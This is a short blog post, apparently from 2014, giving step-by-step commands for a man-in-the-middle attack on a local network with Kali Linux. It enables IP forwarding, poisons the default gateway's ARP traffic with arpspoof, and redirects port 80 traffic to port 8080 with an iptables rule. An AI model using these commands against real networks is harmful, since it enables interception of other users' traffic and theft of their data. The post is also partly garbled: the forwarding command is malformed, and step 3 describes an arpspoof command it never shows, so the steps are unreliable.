Total Pageviews

Saturday, 29 March 2014

Port Redirection Using Kali

Let's begin the process of port redirection/forwarding.
1. Open a terminal window and execute the following command to configure IP tables that will allow our machine to route traffic:
Sudo echo 1 >> /proc/sys/net/ipv4/ip_forward
2. Next, we launch arpspoof to poison traffic going to our default gateway.
In this example, the IP address of our default gateway is 192.168.10.1. Arpspoof  has a couple of options that we will select and they include:
–i allows us to select our target interface. In this case, we will select wlan0
The syntax for completing this command is
arpspoof –i [interface] [destination IP address
sudo arpspoof –i wlan0 192.168.10.1
3. Next, we will execute another arpspoof command that will take traffic from our destination in the previous command (which was the default gateway) and route that traffic back to our Kali Linux machine. In this example our IP address is 192.168.10.110.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
That's it..

No comments:

Post a Comment